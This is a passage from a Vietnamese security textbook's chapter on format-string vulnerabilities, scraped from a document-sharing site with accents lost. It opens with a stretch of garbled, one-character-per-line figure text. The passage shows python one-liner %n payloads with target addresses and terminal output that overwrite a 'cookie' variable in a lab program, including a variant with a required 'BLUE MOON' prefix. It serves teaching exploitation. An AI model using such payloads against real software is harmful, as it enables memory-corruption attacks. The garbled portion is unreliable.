Professional Documents
Culture Documents
Nghe Thuat Tan Dung Loi Phan Mem
Nghe Thuat Tan Dung Loi Phan Mem
i
v
i
g
i
t
r
4
2
4
1
3
9
3
8
t
h
!
p.
.
.
3
8
3
9
4
1
4
2
0
0
.
.
.
c
a
o
"
8
9
A
B
"
a
a
+
1
a
+
2
a
+
3
(
b
)
i
v
i
c
h
u
8
9
A
B
n
h
2
.
3
:
T
n
h
k
t
t
h
c
n
h
n
h
4
.
4
:
C
c
c
c
h
c
t
t
h
n
g
d
n
g
86 CHNG 4. CHUI NH DNG
... XX XX XX XX ...
L!n 1 ... 78 56 XX XX ...
L!n 2 ... 78 56 34 12 ...
cookie
BFFFF854 BFFFF857
(a) Ct 2-2 vi hn
... XX XX XX XX ...
L!n 1 ... 78 00 00 00 ...
L!n 2 ... 78 56 01 00 ...
L!n 3 ... 78 56 34 12 ...
cookie
BFFFF854 BFFFF857
(b) Ct 1-2-2 vi n-hn-hn
Hnh 4.5: Cc cch ct
4.4. THAY I BIN COOKIE 87
101. Cc gi tr khc ch n gin l cng dn vo gi tr trc n m bo
byte cui ph hp vi gi tr mong mun.
Dng lnh tn dng ca chng ta tng t nh hnh chp di.
regular@exploitation:~/src$ python -c print "\x54\xF8\xFF\xBF\x55\xF8\xFF\xBF\x
56\xF8\xFF\xBF\x57\xF8\xFF\xBF" + "%" + str(0x101-16) + "x%10$n" + "%" + str(0x1
02-0x101) + "x%11$n" + "%" + str(0x103-0x102) + "x%12$n" + "%" + str(0x104-0x103
) + "x%13$n" | ./fmt
&cookie: 0xbffff854
cookie = 00000000
T#######V#######
0006
cookie = 04030201
regular@exploitation:~/src$
Nu bn c ng vi dng lnh tn dng trn th bn qun mt nhng
g chng ta bn n trong Tiu mc 4.4.3. m bo di ca chui lun
lun chnh xc, mi xc nh di trong yu cu nh dng phi t nht c
gi tr l di ti a ca kiu d liu c in. Trong v d ny, %x s in ti a
8 k t do chng ta ch nn dng %x vi xc nh di ln hn hoc bng
8. V 102 101 = 1 v cng nh 103 102 = 1, 104 103 = 1 nh hn 8 nn
chng ta s thay th cm %x vi mt k t bt k.
regular@exploitation:~/src$ python -c print "\x54\xF8\xFF\xBF\x55\xF8\xFF\xBF\x
56\xF8\xFF\xBF\x57\xF8\xFF\xBF" + "%" + str(0x101-16) + "x%10$n" + "a%11$n" + "a
%12$n" + "a%13$n" | ./fmt
&cookie: 0xbffff854
cookie = 00000000
T#######V#######
0aaa
cookie = 04030201
regular@exploitation:~/src$
4.4.8 Lp li vi chui nhp bt u bng BLUE MOON
Chng ta s lp li v d trn vi yu cu chui nhp vo c bt u bng 9
k t BLUEMOON. Khi chui nhp vo bt u vi 9 k t ny, trng thi ngn
xp ca chng ta s nh trong Hnh 4.6.
V tham s th 10, 11, v 12 b chui BLUE MOON chim mt nn chng
ta ch c th bt u s dng t tham s 13. Do , cc tham s 10, 11, 12,
13 v d trc s cn i thnh 13, 14, 15, 16. Hn na, chui BLUE MOON ch
chim 1 byte ca tham s 12 nn chng ta cng cn thm 3 k t bt k
lp ch trng ny. Cui cng, v in c thm C (9 + 3) byte nn cng thc
tnh ton s lng cn c iu chnh theo. Tm li, chui tn dng ca chng
ta s gm 9 k t BLUE MOON nh yu cu, 3 k t bt k lp tham s 12,
theo sau bi 16 k t xc nh 4 a ch, theo sau bi nh dng x vi di
101 C 10, ri nh dng n vi tham s 13, mt k t bt k, nh dng n
vi tham s 14, v tng t vi tham s 15, 16.
88 CHNG 4. CHUI NH DNG
...
4E XX XX XX
20 4D 4F 4F
42 4C 55 45
...
tham s! 10
"BLUE"
tham s! 12
Hnh 4.6: Vi chui BLUE MOON trc
regular@exploitation:~/src$ python -c print "BLUE MOON \x54\xF8\xFF\xBF\x55\x
F8\xFF\xBF\x56\xF8\xFF\xBF\x57\xF8\xFF\xBF" + "%" + str(0x101-12-16) + "x%13$n"
+ "a%14$n" + "a%15$n" + "a%16$n" | ./fmt
&cookie: 0xbffff854
cookie = 00000000
BLUE MOON T#######V#######
0aaa
cookie = 04030201
regular@exploitation:~/src$
4.4.9 Mang gi tr 0x69696969
Tri qua cc v d trc, c l c gi c th t thc hin c vic ghi gi
tr bt k vo bin cookie. Mc ny c th c xem nh mt bi tp nh dnh
cho bn c. Hy thc hin vic ghi gi tr 69696969 vo bin cookie v so snh
lnh tn dng li ca bn vi lnh c gi chn trang
2
.